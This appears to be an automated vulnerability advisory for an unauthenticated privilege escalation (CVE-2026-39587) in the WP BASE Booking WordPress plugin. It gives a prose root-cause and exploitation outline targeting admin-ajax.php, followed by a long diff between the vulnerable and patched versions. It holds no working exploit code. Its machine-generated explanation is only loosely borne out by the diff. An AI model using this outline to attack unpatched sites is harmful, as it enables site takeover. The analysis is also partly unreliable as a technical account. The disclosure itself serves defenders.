Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 19, 2026

CVE-2026-39587: WP BASE Booking of Appointments, Services and Events <= 5.9.0 – Unauthenticated Privilege Escalation (wp-base-booking-of-appointments-services-and-events)

Severity Critical (CVSS 9.8)
CWE 269
Vulnerable Version 5.9.0
Patched Version 6.0.0
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-39587:
This vulnerability is an unauthenticated privilege escalation in the WP BASE Booking plugin for WordPress, affecting versions up to and including 5.9.0. The flaw allows attackers to elevate their privileges to administrator level without authentication, resulting in a critical CVSS score of 9.8.

Atomic Edge research identifies the root cause in the `wpb_prepare_booking` function within `/includes/admin/functions-admin.php`. The function incorrectly determines user permissions when preparing a booking controller object. In the vulnerable code, the `$hier_forced` variable assignment logic depends on the `wpb_is_admin_user()` check, but this check occurs after the variable is already set for existing bookings. The function uses `wpb_is_admin_user()` to decide whether to pass `false` or a forced hierarchy string (`$hier_forced`) as the third parameter to the `WpB_Controller` constructor. The vulnerability allows unauthenticated users to bypass this permission check and obtain a controller with administrative capabilities.

The exploitation method involves sending crafted requests to WordPress AJAX endpoints that trigger the `wpb_prepare_booking` function. Attackers can target endpoints like `/wp-admin/admin-ajax.php` with specific `action` parameters that invoke booking-related functionality. By manipulating the booking preparation flow, unauthenticated users can obtain a controller object with administrative privileges, enabling them to perform actions restricted to administrators, such as modifying bookings, services, or user data.

The patch modifies the `wpb_prepare_booking` function to properly separate permission checks for existing and new bookings. The fix restructures the logic to determine the `$hier_forced` variable before any controller instantiation. For existing bookings, the patch ensures the controller receives the correct `$hier_forced` value based on user permissions. For new bookings, the patch passes `$hier_forced` consistently to both controller instantiation paths. The patch also updates multiple calls to `select_service()` in `/includes/admin/bookings.php` to include the `false` parameter, ensuring proper service selection behavior.

Successful exploitation grants attackers full administrative access to the WordPress site. Attackers can create, modify, or delete bookings, services, and user data. They can install malicious plugins or themes, modify site settings, and potentially achieve remote code execution through administrator capabilities. The privilege escalation bypasses all WordPress role-based access controls, compromising the entire site’s security.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-base-booking-of-appointments-services-and-events/includes/admin/base-admin.php
+++ b/wp-base-booking-of-appointments-services-and-events/includes/admin/base-admin.php
@@ -555,7 +555,7 @@

 		wpb_admin_access_check( 'manage_tools' );
 	?>
-<div class="wrap app-tools">
+<div class="wrap app-page app-tools">
 	<h2 class="app-dashicons-before dashicons-admin-tools"><?php echo __('Tools', 'wp-base' ); ?></h2>
 	<h3 class="nav-tab-wrapper"><?php

--- a/wp-base-booking-of-appointments-services-and-events/includes/admin/bookings.php
+++ b/wp-base-booking-of-appointments-services-and-events/includes/admin/bookings.php
@@ -1488,7 +1488,7 @@
 		/* Services */
 		$html .= wpb_wrap_field( 'service',
 			$booking->is_event() ? __('Event', 'wp-base') : __('Service', 'wp-base'),
-			$controller->select_service( !$app_id ),
+			$controller->select_service( false, !$app_id ),
 			apply_filters( 'app_inline_edit_service_helptip', '', $booking, $controller )
 		);

@@ -1993,7 +1993,7 @@

 		$out = array(
 			'locations_sel'		=> $controller->select_location(),
-			'services_sel'		=> $controller->select_service( ! $app_id ),
+			'services_sel'		=> $controller->select_service( false, ! $app_id ),
 			'workers_sel'		=> wpb_is_admin_user() ? $controller->select_worker() : $controller->select_self_worker(),
 		);

@@ -2014,7 +2014,7 @@
 			$out	= array_merge( $out, array( 'price' => $slot->get_subtotal() + $slot->get_fee(), 'deposit' => $slot->get_deposit() ) );
 		}

-		$out = apply_filters( 'app_inline_edit_update', $out, $booking, $old_booking, $controller, $this );
+		$out = apply_filters( 'app_inline_edit_update', $out, $booking, $old_booking, $controller );

 		die( json_encode( $out ) );
 	}
@@ -2123,7 +2123,7 @@
 			$booking->check_update( $old_booking );
 		}

-		do_action( 'app_inline_edit_save_before_save', $booking, $old_booking, $this );
+		do_action( 'app_inline_edit_save_before_save', $booking, $old_booking );

 		$updated = $inserted = null;
 		$changed = false;
@@ -2170,12 +2170,12 @@
 			$changed = true;
 		}

-		$changed = apply_filters( 'app_inline_edit_save', $changed, $booking, $old_booking, $this );
+		$changed = apply_filters( 'app_inline_edit_save', $changed, $booking, $old_booking );

 		if ( $updated ) {
-			do_action( 'app_inline_edit_updated', $booking, $old_booking, $this );
+			do_action( 'app_inline_edit_updated', $booking, $old_booking );
 		} else if ( $inserted ) {
-			do_action( 'app_inline_edit_new_booking', $booking, $old_booking, $this );
+			do_action( 'app_inline_edit_new_booking', $booking, $old_booking );
 		}

 		$email_sent = $this->send_email( $booking );
--- a/wp-base-booking-of-appointments-services-and-events/includes/admin/functions-admin.php
+++ b/wp-base-booking-of-appointments-services-and-events/includes/admin/functions-admin.php
@@ -22,10 +22,16 @@
  * @return object	WpB_Controller object
  */
 function wpb_prepare_booking( &$booking ) {
+
+	if ( wpb_is_admin_user() ) {
+		$hier_forced = false;
+	} else {
+		$hier_forced = str_replace( 'W', '', wpb_setting( 'lsw_priority', WPB_DEFAULT_LSW_PRIORITY ) ) == 'LS' ? 'WLS' : 'WSL';
+	}

 	if ( $booking->get_ID() ) {
-		$hier_forced = str_replace( 'W', '', wpb_setting( 'lsw_priority', WPB_DEFAULT_LSW_PRIORITY ) ) == 'LS' ? 'WLS' : 'WSL';
-		$controller = new WpB_Controller( $booking, wpb_controller_order_by( $booking ), ( wpb_is_admin_user() ? false : $hier_forced ) );
+
+		$controller = new WpB_Controller( $booking, wpb_controller_order_by( $booking ), $hier_forced );
 	} else {
 		if ( ! empty( $_REQUEST['add_new_event'] ) ) {
 			$booking->set_as_event();
@@ -42,7 +48,7 @@
 			$booking->set_status( 'confirmed' );
 			$booking->set_payment_method('');

-			$controller = new WpB_Controller( $booking, wpb_controller_order_by( $booking ) );
+			$controller = new WpB_Controller( $booking, wpb_controller_order_by( $booking ), $hier_forced );
 		} else { /* Add New */
 			$controller = wpb_init_controller();

--- a/wp-base-booking-of-appointments-services-and-events/includes/admin/global-settings.php
+++ b/wp-base-booking-of-appointments-services-and-events/includes/admin/global-settings.php
@@ -43,6 +43,14 @@
 	}

 	/**
+	 * Get a list of editable fields keys
+	 * @return array
+	 */
+	public static function editable_fields() {
+		return apply_filters( 'app_editable_fields_selections', array_merge( array('location','service','worker','date','time'), BASE()->get_user_fields() ) );
+	}
+
+	/**
      * Save admin settings
      */
 	public function save_settings() {
@@ -87,6 +95,20 @@
 			$options['cancel_limit'] 				= preg_replace( '/[^0-9]/', '', $_POST['cancel_limit'] );
 			$options['cancel_page'] 				= isset( $_POST['cancel_page'] ) ? $_POST['cancel_page'] : '';

+			$options['allow_edit'] 					= $_POST['allow_edit'];
+			$options['edit_limit'] 					= preg_replace( '/[^0-9]/', '', $_POST['edit_limit'] );
+			$options['edit_upper_limit'] 			= preg_replace( '/[^0-9]/', '', $_POST['edit_upper_limit'] );
+
+			/* Which fields can be edited */
+			$temp = array();
+			foreach ( self::editable_fields() as $m ) {
+				if ( isset( $_POST['editable_'.$m ] ) ) {
+					$temp[] = $m;
+				}
+			}
+
+			$options["editable"] = implode( ',', $temp );
+
 		} else if ( 'save_global_advanced' == $_POST['action_app'] ) {
 			$settings_changed = true;

@@ -111,6 +133,7 @@
 													  : $_POST['description_post_type'];
 			$options['person_type_template']		= wp_unslash( $_POST['person_type_template'] );
 			$options['refresh_url']					= trim( $_POST['refresh_url'] );
+			$options['account_page']				= $_POST['account_page'];

 			$options['auto_delete']					= $_POST['auto_delete'];
 			$options['auto_delete_time']			= preg_replace( '/[^0-9]/', '', $_POST['auto_delete_time'] );
@@ -120,10 +143,13 @@
 			$options['admin_toolbar']				= $_POST['admin_toolbar'];
 			$options['records_per_page']			= preg_replace( '/[^0-9]/', '',  $_POST['records_per_page'] );
 			$options['records_per_page_business']	= preg_replace( '/[^0-9]/', '',  $_POST['records_per_page_business'] );
-			$options['schedule_show_images']		= $_POST['schedule_show_images'];
 			$options['schedule_allowed_stats']		= ! empty( $_POST['schedule_allowed_stats'] ) ? implode( ',', $_POST['schedule_allowed_stats'] ) : '';
+			$options['schedule_allowed_stats_client']	= ! empty( $_POST['schedule_allowed_stats_client'] ) ? implode( ',', $_POST['schedule_allowed_stats_client'] ) : '';
 			$options['schedule_desc_admin']			= wp_unslash( $_POST['schedule_desc_admin'] );
 			$options['schedule_desc_worker']		= wp_unslash( $_POST['schedule_desc_worker'] );
+			$options['schedule_desc_client']		= wp_unslash( $_POST['schedule_desc_client'] );
+			$options['schedule_client_can']			= $_POST['schedule_client_can'];
+			$options['schedule_show_images']		= $_POST['schedule_show_images'];

 			do_action( 'app_global_settings_maybe_updated' );

@@ -177,6 +203,16 @@
 			wpb_notice( 'saved' );
 			$this->settings_changed( $old_options, $options );
 		}
+
+		if ( ! empty( $_POST['schedule_clear_cache'] ) && 'yes' == $_POST['schedule_clear_cache'] ) {
+			foreach ( array( 'admin', 'worker', 'client' ) as $context ) {
+				wpb_schedules_delete_transients( $context );
+			}
+
+			delete_transient( 'wpbase_schedule_data' );
+
+			wpb_notice( __( 'Schedules cache cleared', 'wp-base' ) );
+		}
 	}

 	/**
@@ -234,6 +270,18 @@
 		if ( ! empty( $old_options['min_time'] ) && $old_options['min_time'] != $options['min_time'] ) {
 			wp_reschedule_event( strtotime( current_time( 'Y-m-d' ) ) - 24*3600, 'wpb_time_base_tick', 'app_time_base_tick' );
 		}
+
+		if ( $options['schedule_desc_admin'] != $old_options['schedule_desc_admin'] ) {
+			wpb_schedules_delete_transients( 'admin' );
+		}
+
+		if ( $options['schedule_desc_worker'] != $old_options['schedule_desc_worker'] ) {
+			wpb_schedules_delete_transients( 'worker' );
+		}
+
+		if ( empty( $old_options['schedule_desc_client'] ) || $options['schedule_desc_client'] != $old_options['schedule_desc_client'] ) {
+			wpb_schedules_delete_transients( 'client' );
+		}
 	}

 	/**
@@ -422,8 +470,45 @@
 				</div>
 			</div>

+			<p class="submit">
+				<input type="submit" class="button-primary" value="<?php _e('Save All Basic Settings', 'wp-base' ) ?>" />
+			</p>
+
 			<?php do_action( 'app_admin_settings_after_booking' ) ?>

+			<div class="postbox">
+				<div class="postbox-header">
+					<h3 class="hndle" id="front-end-edit"><span><?php _e('Editing & Rescheduling', 'wp-base'); ?></span></h3>
+				</div>
+				<div class="inside">
+					<table class="form-table">
+
+						<?php wpb_setting_yn( 'allow_edit' ) ?>
+						<?php wpb_setting_text( 'edit_limit' ) ?>
+						<?php wpb_setting_text( 'edit_upper_limit' ) ?>
+
+						<tr id="editable">
+							<th scope="row" ><?php WpBConstant::echo_setting_name('editable') ?></th>
+							<td class="has-checkbox">
+							<?php foreach ( self::editable_fields() as $m ) { ?>
+								<label>
+								<input type="checkbox" name="editable_<?php echo $m ?>" value="true" <?php if ( strpos( wpb_setting("editable"), $m ) !== false ) echo "checked='checked'"?>>
+								<span>
+								<?php
+									echo wpb_get_text($m);
+								?></span>
+								</label>
+							<?php } ?>
+							<br><span class="description app-btm"><?php WpBConstant::echo_setting_desc('editable') ?></span>
+							</td>
+						</tr>
+
+					</table>
+				</div>
+			</div>
+
+			<?php do_action( 'app_admin_settings_after_editing' ) ?>
+
 			<div class="submit app-manage-row">
 				<input type="hidden" name="action_app" value="save_general" />
 				<?php wp_nonce_field( 'update_app_settings', 'app_nonce', true ) ?>
@@ -536,6 +621,24 @@
 							</td>
 						</tr>

+						<tr id="schedule-desc-client">
+							<th scope="row"><?php WpBConstant::echo_setting_name( 'schedule_desc_client' ) ?></th>
+							<td>
+						<?php wp_editor( wpb_setting( 'schedule_desc_client', WpBConstant::$_schedule_desc_client ), 'schedule_desc_client',
+								array( 'editor_height'	=> WPB_EDITOR_HEIGHT,
+										'editor_class'	=> 'app-wp-editor',
+										'editor_css'	=> '',
+										'tinymce'		=> array( 'body_class' => 'app-editor-body' ),
+										'teeny'			=> true,
+										'wpautop'		=> false,
+										'media_buttons'	=> false,
+								));
+
+							 do_action( 'app_admin_after_schedule_desc', 'client' ); ?>
+							 <span class="description app-btm"><?php WpBConstant::echo_setting_desc( 'schedule_desc_client' ) ?></span>
+							</td>
+						</tr>
+
 						<tr id="schedule-allowed-stats">
 							<th scope="row" ><?php WpBConstant::echo_setting_name('schedule_allowed_stats') ?></th>
 							<td>
@@ -551,7 +654,26 @@
 							</td>
 						</tr>

-						<?php wpb_setting_yn( 'schedule_show_images' ); ?>
+						<tr id="schedule-allowed-stats-client">
+							<th scope="row" ><?php WpBConstant::echo_setting_name('schedule_allowed_stats_client') ?></th>
+							<td>
+								<select multiple data-noneSelectedText="<?php echo esc_attr( __('Select statuses', 'wp-base' ) ) ?>" data-selectedlist="12" name="schedule_allowed_stats_client[]" class="app_ms">
+							<?php
+								$stat_arr = explode( ',', wpb_setting( 'schedule_allowed_stats_client', 'paid,confirmed,pending,running,completed,removed' ) );
+								foreach( $this->a->get_statuses() as $key => $stat ) {
+
+									echo '<option value="'.$key.'" '.selected( in_array( $key, $stat_arr ), true, false ) .'>' . $this->a->get_status_name( $key ) . '</option>';
+								}
+							 ?></select>
+							<span class="description app-btm"><?php WpBConstant::echo_setting_desc('schedule_allowed_stats_client') ?></span>
+							</td>
+						</tr>
+
+						<?php
+						wpb_setting_yn( 'schedule_client_can' );
+						wpb_setting_yn( 'schedule_show_images' );
+						wpb_setting_yn( 'schedule_clear_cache' );
+						?>

 					</table>
 				</div>
@@ -612,6 +734,18 @@
 							</td>
 						</tr>

+						<tr id="account-page">
+							<th scope="row"><?php WpBConstant::echo_setting_name('account_page') ?></th>
+							<td>
+							<select name="account_page">
+							<?php
+							echo wpb_description_page_selection( 'page', wpb_setting( 'account_page' ) );
+							?>
+							</select>
+							<span class="description app-btm"><?php WpBConstant::echo_setting_desc('account_page') ?></span>
+							</td>
+						</tr>
+
 					</table>
 				</div>
 			</div>
--- a/wp-base-booking-of-appointments-services-and-events/includes/admin/service-rte.php
+++ b/wp-base-booking-of-appointments-services-and-events/includes/admin/service-rte.php
@@ -0,0 +1,216 @@
+<?php
+/**
+ * WPB Service Rich Text editor
+ *
+ * @author		Hakan Ozevin
+ * @package     WP BASE
+ * @license     http://opensource.org/licenses/gpl-2.0.php GNU Public License
+ * @since       5.9.0
+ */
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+if ( ! class_exists( 'WpBServiceRTE' ) ) {
+
+class WpBServiceRTE {
+
+	/**
+     * Add actions and filters
+     */
+	public function add_hooks() {
+		if ( did_action( 'plugins_loaded' ) ) {
+			$this->plugins_loaded();
+		} else {
+			add_action( 'plugins_loaded', array( $this, 'plugins_loaded' ) );
+		}
+	}
+
+	/**
+     * Add actions and filters
+     */
+	public function plugins_loaded() {
+		if ( ! apply_filters( 'app_enable_service_rte_content', false ) ) {
+			return;
+		}
+
+		wpb_add_action_footer( $this );
+
+		add_action( 'app_service_inline_edit_after_description', array( $this, 'inline_edit' ) );
+
+		add_filter( 'wp_editor_widget_content', 'wptexturize' );
+		add_filter( 'wp_editor_widget_content', 'convert_smilies' );
+		add_filter( 'wp_editor_widget_content', 'convert_chars' );
+		add_filter( 'wp_editor_widget_content', 'wpautop' );
+		add_filter( 'wp_editor_widget_content', 'shortcode_unautop' );
+		add_filter( 'wp_editor_widget_content', 'do_shortcode', 11 );
+	}
+
+	public function inline_edit( $service ) {
+		$id = $service->get_ID();
+		$content = wpb_get_service_meta( $id, 'rte_content' ) ?: '';
+
+		echo wpb_wrap_field( 'rte_content', __('Content', 'wp-base'),
+			'<textarea readonly rows="6" class="stripped-content" name="stripped_content" id="stripped_content_'.$id.'" >'. esc_textarea( strip_tags( $content ) ) .'</textarea>'.
+			'<script type="text/html" class="rte_content" id="content_'.$id.'">'. $content .'</script>'.
+			'<input type="hidden" name="rte_content_check" value="1" />'.
+			'<a class="app-open-editor button" data-id="content_'. $id.'" href="javascript:void(0)">'. __( 'View/Edit Content', 'wp-base' ) .'</a>',
+		__( 'HTML tags not displayed. To view in full, click View/Edit.', 'wp-base' ) );
+	}
+
+	/**
+	 * From: WP Editor Widget
+	 */
+	public function footer() {
+		?>
+<script type="text/javascript">
+jQuery(document).ready(function ($) {
+
+	function stripHtmlKeepPTags(htmlString) {
+		// 1. Create a new DOMParser instance.
+		const parser = new DOMParser();
+		// 2. Parse the input string into a full HTML document object.
+		const doc = parser.parseFromString(htmlString, 'text/html');
+
+		// 3. Select all elements in the document body.
+		const allElements = doc.body.children;
+
+		// 4. Iterate over the elements and remove any that are not a 'P' tag.
+		for (let i = allElements.length - 1; i >= 0; i--) {
+		const element = allElements[i];
+		if (element.tagName.toLowerCase() !== 'p') {
+		  // Replace the element with its plain text content.
+		  element.parentNode.replaceChild(document.createTextNode(element.textContent || ''), element);
+		}
+		// Note: The textContent will be raw text, without any tags.
+		}
+
+		// 5. Return the modified body's innerHTML, which now only contains <p> tags and raw text.
+		return doc.body.innerHTML;
+	}
+
+	function stripHtml(html) {
+		const parser = new DOMParser();
+		const doc = parser.parseFromString(html, "text/html");
+		return doc.body.textContent || "";
+	}
+
+	var WpB_Editor_Widget = {
+
+		/**
+		 * @var string
+		 */
+		currentContentId: '',
+
+		/**
+		 * @var string
+		 */
+		currentEditorPage: '',
+
+		 /**
+		  * @var int
+		  */
+		wpFullOverlayOriginalZIndex: 0,
+
+		init: function() {
+			var me = this;
+
+			$(document).on( "click", ".app-open-editor", function () {
+				var id = $(this).data("id");
+				me.showEditor(id);
+			});
+
+			$(document).on( "click", ".app-close-editor", function () {
+				me.hideEditor();
+			});
+
+			$(document).on( "click", ".app-save-editor", function () {
+				me.updateWidgetAndCloseEditor();
+			});
+
+		},
+
+		/**
+		 * Show the editor
+		 * @param string contentId
+		 */
+		showEditor: function(contentId) {
+			var me = this;
+			$('#app-editor-widget-backdrop').show();
+			$('#app-editor-widget-container').show();
+
+			me.currentContentId = contentId;
+
+			me.setEditorContent(contentId);
+		},
+
+		/**
+		 * Hide editor
+		 */
+		hideEditor: function() {
+			var me = this;
+			$('#app-editor-widget-backdrop').hide();
+			$('#app-editor-widget-container').hide();
+		},
+
+		/**
+		 * Set editor content
+		 */
+		setEditorContent: function(contentId) {
+			var editor = tinyMCE.EditorManager.get('WpB_Editor_Widget');
+			var content = $('#'+ contentId).html();
+
+			if (typeof editor === "object" && editor !== null) {
+				editor.setContent(content);
+			}
+			$('#WpB_Editor_Widget').val(content);
+		},
+
+		/**
+		 * Update widget and close the editor
+		 */
+		updateWidgetAndCloseEditor: function() {
+			var me = this;
+			var editor = tinyMCE.EditorManager.get('WpB_Editor_Widget');
+			var content = "";
+			if ( editor === undefined || editor === null || editor.isHidden()) {
+				content = $('#WpB_Editor_Widget').val();
+			}
+			else {
+				content = editor.getContent();
+			}
+
+			$('#'+ this.currentContentId).html(content);
+
+			$('#stripped_'+ this.currentContentId).val( stripHtml(content) );
+
+			me.hideEditor();
+		}
+
+	};
+
+	WpB_Editor_Widget.init();
+
+});
+</script>
+<div id="app-editor-widget-container" style="display: none;">
+	<a class="app-close-editor close" href="javascript:void(0)" title="<?php esc_attr_e( 'Close', 'wp-base' ); ?>"><span class="icon"></span></a>
+	<div class="editor">
+		<?php
+		$settings = array(
+			'textarea_rows' => 20,
+			'tinymce'=>true
+		);
+		wp_editor( '', 'WpB_Editor_Widget', $settings );
+		?>
+		<p>
+			<a class="app-save-editor button button-primary" href="javascript:void(0)"><?php _e( 'Submit and Close', 'wp-base' ); ?></a>
+		</p>
+	</div>
+</div>
+<div id="app-editor-widget-backdrop" style="display:none;"></div>
+<?php
+	}
+}
+
+	BASE('ServiceRTE')->add_hooks();
+}
 No newline at end of file
--- a/wp-base-booking-of-appointments-services-and-events/includes/admin/services-list.php
+++ b/wp-base-booking-of-appointments-services-and-events/includes/admin/services-list.php
@@ -62,6 +62,7 @@
 	 public function __construct() {
 		$this->a = BASE();
 		$this->table = $this->a->services_table;
+		include_once WPBASE_PLUGIN_DIR . '/includes/admin/service-rte.php';
 	}

 	/**
@@ -1559,6 +1560,8 @@
 			'<input type="hidden" name="service_description_check" value="1"/>', $service->get_ID(), 'service_description', 'textarea' ),
 		__( 'Optional description text for the service.', 'wp-base' ) );

+		do_action( 'app_service_inline_edit_after_description', $service );
+
 ?></div><?php

 	if ( apply_filters( 'app_service_inline_edit_show_image', true, $service ) ) { ?>
@@ -1763,6 +1766,12 @@
 				$changed = true;
 			}
 		}
+
+		if ( ! empty( $_POST['rte_content_check'] ) ) {
+			if ( $service->update_rte_content( ! empty( $_POST['rte_content'] ) ? wp_kses_post( $_POST['rte_content'] ) : '' ) ) {
+				$changed = true;
+			}
+		}

 		if ( ! empty( $_POST['service_image_check'] ) ) {
 			if ( $service->update_image_url( ! empty( $_POST['service_image_url']) ? wpb_clean( trim( $_POST['service_image_url'] ) ) : '' ) ) {
@@ -2274,6 +2283,8 @@
 				owner_check: par.find("input[name='owner_check']").val(),
 				service_description: par.find("textarea[name='service_description']").val(),
 				service_description_check: par.find("input[name='service_description_check']").val(),
+				rte_content: par.find(".rte_content").html(),
+				rte_content_check: par.find("input[name='rte_content_check']").val(),
 				service_image_url: par.find("input[name='service_image_url']").val(),
 				service_image_id: par.find("input[name='service_image_id']").val(),
 				service_image_check: par.find("input[name='service_image_check']").val(),
--- a/wp-base-booking-of-appointments-services-and-events/includes/admin/transactions.php
+++ b/wp-base-booking-of-appointments-services-and-events/includes/admin/transactions.php
@@ -575,7 +575,7 @@
 		</select>
 		<?php

-		if ( $loc_ids = wpb_front_admin_loc_ids() ) {
+		if ( ! wpb_is_client() && $loc_ids = wpb_front_admin_loc_ids() ) {
 			$add_class = $filt['location_id'] ? 'class="app-option-selected"' : '';
 		?>
 			<select name="app_location_id" <?php echo $add_class ?>>
@@ -593,7 +593,9 @@
 		<select name="app_service_id" <?php echo $add_class ?>>
 			<option value=""><?php _e('Filter by service','wp-base'); ?></option>
 		<?php
-		foreach ( wpb_front_admin_services() as $service ) {
+		$services = wpb_is_client() ? wpb_client_services() : wpb_front_admin_services();
+
+		foreach ( $services as $service ) {
 			echo '<option '.selected( $filt['service_id'], $service->ID ).' value="'.$service->ID.'">'. $this->a->get_service_name( $service->ID ) .'</option>';
 		}
 		?>
--- a/wp-base-booking-of-appointments-services-and-events/includes/assets.php
+++ b/wp-base-booking-of-appointments-services-and-events/includes/assets.php
@@ -46,35 +46,35 @@

 		add_action( 'app_shortcode_found', array( $this, 'request_load' ) );
 		add_action( 'app_load_assets', array( $this, 'request_load' ) );
-
+
 		add_filter( 'do_shortcode_tag', array( $this, 'do_shortcode_tag' ), 10, 2 );
-
+
 		add_action( 'template_redirect', array( $this, 'template_redirect' ) );
 	}
-
+
 	/**
      * Find post object for non-single posts
 	 * Get cart values and remaining time before headers sent
      */
 	public function template_redirect() {
-
+
 		if ( is_author() ) {
 			global $wp_query;
 			$this->author_id = $wp_query->queried_object_id;
 		}
-
+
 		global $wp_the_query;
-
+
 		if ( ! is_callable( array( $wp_the_query, 'get_queried_object' ) ) ) {
 			return;
 		}
-
+
 		$current_object = $wp_the_query->get_queried_object();
-
+
 		if ( empty( $current_object ) ) {
 			return;
 		}
-
+
 		$this->current_post_id = ! empty( $current_object->ID ) ? $current_object->ID : 0;

 		if ( ! headers_sent() ) {
@@ -124,11 +124,6 @@
 		wp_register_script( 'jquery-app-qtip', WPB_PLUGIN_URL . '/js/dev/jquery.qtip.min.js', array('jquery'), $this->ver() );
 		wp_register_script( 'jquery-blockui', WPB_PLUGIN_URL . '/js/dev/jquery.blockUI.js', array('jquery'), $this->ver() );
 		wp_register_script( 'wp-base-countdown', WPB_PLUGIN_URL . '/js/dev/jquery.countdown.min.js', array('jquery','jquery-plugin'), $this->ver() );
-		wp_register_script( 'jquery-datatables', WPB_PLUGIN_URL . '/js/dev/jquery.dataTables.min.js', array('jquery-ui-core'), $this->ver() );
-		wp_register_script( 'jquery-datatables-jqueryui', WPB_PLUGIN_URL . '/js/dev/dataTables.jqueryui.min.js', array('jquery-datatables'), $this->ver() );
-		wp_register_script( 'jquery-datatables-jqueryui-responsive', WPB_PLUGIN_URL . '/js/dev/responsive.jqueryui.min.js', array('jquery-datatables-jqueryui','jquery-datatables-responsive'), $this->ver() );
-		wp_register_script( 'jquery-datatables-moment', WPB_PLUGIN_URL . '/js/dev/moment.min.js', array('jquery-datatables'), $this->ver() );
-		wp_register_script( 'jquery-datatables-responsive', WPB_PLUGIN_URL . '/js/dev/dataTables.responsive.min.js', array('jquery-datatables'), $this->ver() );
 		wp_register_script( 'jquery-plugin', WPB_PLUGIN_URL . '/js/mobile/jquery.plugin.min.js', array('jquery'), $this->ver() );
 		wp_register_script( 'jquery-qtip', WPB_PLUGIN_URL . "/js/dev/jquery.qtip.min.js", array('jquery'), $this->ver() );
 		wp_register_script( 'jquery-quickfit', WPB_PLUGIN_URL . '/js/dev/jquery.quickfit.js', array('jquery'), $this->ver() );
@@ -138,40 +133,31 @@
 		wp_register_script( 'jstz', WPB_PLUGIN_URL . '/js/dev/jstz.min.js', array(), $this->ver() );
 		wp_register_script( 'app-event-calendar', WPB_PLUGIN_URL . '/js/dev/event-calendar.min.js', array('jquery'), $this->ver() );
 		wp_register_script( 'app-schedules', WPB_PLUGIN_URL . '/js/schedules.js', array('app-event-calendar'), $this->ver() );
-		wp_register_style( 'app-schedules', WPB_PLUGIN_URL . '/css/schedules.css', array(), $this->ver() );
-		wp_register_style( 'wp-base-admin-front', WPB_PLUGIN_URL . '/css/front-admin.css', array(), WPB_VERSION );
 		wp_register_script( 'wp-base-common-scripts', WPB_PLUGIN_URL . '/js/common-scripts.js', array('jquery-ui-core','jquery-ui-widget', 'jquery-ui-position'), $this->ver(), true );
 		wp_register_script( 'wp-base-libs', WPB_PLUGIN_URL . '/js/libs.js', array('jquery-ui-widget','jquery-ui-button','jquery-ui-datepicker'), $this->ver(), true );
+		wp_register_script( 'wp-base-datatables', WPB_PLUGIN_URL . '/js/app-datatables.js', array('jquery'), $this->ver(), true );
+
+		wp_register_style( 'app-schedules', WPB_PLUGIN_URL . '/css/schedules.css', array(), $this->ver() );
+		wp_register_style( 'wp-base-admin-front', WPB_PLUGIN_URL . '/css/front-admin.css', array(), $this->ver() );
+		wp_register_style( 'wp-base-panels', WPB_PLUGIN_URL . '/css/panels.css', array(), $this->ver() );
+		wp_register_style( 'wp-base-admin', WPB_PLUGIN_URL . '/css/admin.css', array(), $this->ver() );
+		wp_register_style( 'wp-base-stripe', WPB_PLUGIN_URL . '/css/stripe.css', array(), $this->ver() );
 	}

 	/**
-     * Register moment locale for non English websites
+     * Register moment locale for non English websites - Deprecated
 	 * @since 3.6.2
+	 * @until 6.0.0
 	 * @return string		Handle of the script to be used as dependency
      */
 	private function register_moment_locale() {
-		$locale 		= strtolower( $this->a->get_locale() );
-		$locale_short 	= current( explode( '-', $locale ) );
-
-		if ( $locale && 'en' != $locale && 'en-us' != $locale ) {
-			foreach( array( $locale, $locale_short ) as $lcl ) {
-				if ( file_exists( WPBASE_PLUGIN_DIR . '/js/locale/'.$lcl.'.js' ) ) {
-
-					wp_register_script( 'jquery-moment-locale',
-						WPB_PLUGIN_URL . '/js/locale/'.$lcl.'.js',
-						(self::is_debug() ? array('jquery-datatables-moment') : array('wp-base-libs')),
-						$this->ver()
-					);
-
-					return 'jquery-moment-locale';
-				}
-			}
-		}
+		return;
 	}

 	/**
 	 * Enqueue used jQuery effects
 	 * @since 3.0
+	 * @return none
 	 */
 	public function enqueue_effects(){
 		$effects 	= 'yes' == wpb_setting( 'ms_use_effect' ) ? array( 'blind', 'drop' ) : array( 'drop' );
@@ -189,6 +175,8 @@

 		$deps = array(
 			'wp-base-common-scripts',
+			'wp-base-libs',
+			'wp-base-datatables',
 			'codemirror',
 			'jquery-ui-button',
 			'jquery-ui-datepicker',
@@ -196,7 +184,7 @@
 			'jquery-ui-sortable',
 			'jquery-ui-tabs',
 			'wp-color-picker',
-			'wp-base-libs',
+			'moment',
 		);

 		# FEBM may call on front end - these are only registered for admin, so we exclude them
@@ -211,34 +199,15 @@
      * Front end script dependencies
      */
 	private function deps_front() {
-		if ( self::is_debug() ) {
-			return array(
-				'wp-base-common-scripts',
-				'jquery-blockui',
-				'wp-base-countdown',
-				'jquery-datatables-jqueryui',
-				'jquery-ui-button',
-				'isotope',
-				'jquery-datatables-jqueryui-responsive',
-				'jquery-datatables-moment',
-				'jquery-quickfit',
-				'jquery-scrollto',
-				'signature-pad',
-				'app-flexslider',
-				'jquery-effects-drop',
-				'jquery-ui-button',
-				'jquery-ui-dialog',
-				'jstz',
-			);
-		} else {
-			return array(
-				'wp-base-common-scripts',
-				'wp-base-libs',
-				'jquery-effects-drop',
-				'jquery-ui-button',
-				'jquery-ui-dialog',
-			);
-		}
+		return array(
+			'wp-base-common-scripts',
+			'wp-base-libs',
+			'wp-base-datatables',
+			'jquery-effects-drop',
+			'jquery-ui-button',
+			'jquery-ui-dialog',
+			'moment',
+		);
 	}

 	/**
@@ -246,7 +215,7 @@
      */
 	public function common_data() {
 		global $wp_locale;
-
+
 		return array(
 			'menuHeight'			=> 'size',
 			'checkAll'				=> wpb_get_text( 'check_all' ),
@@ -278,7 +247,7 @@
 			'decimal_sep'			=> wpb_decimal_separator(),
 			'done'					=> wpb_get_text( 'done' ),
 			'filterLabel'			=> '',						// If left empty "Filter:"
-			'filterPholder'			=> '',						// If left empty "Enter keywords"
+			'filterPholder'			=> '',						// If left empty "Enter keywords"
 			'iedit_nonce'			=> wp_create_nonce('inline_edit'),
 			'js_date_format'		=> wpb_convert_dt_format( $this->a->safe_date_format() ),
 			'list'					=> wpb_get_text( 'list' ),
@@ -335,10 +304,10 @@
      * Admin data for javascript
      */
 	public function admin_data(){
-
+
 		$wh_starts = wpb_setting( 'wh_starts', '07:00' );
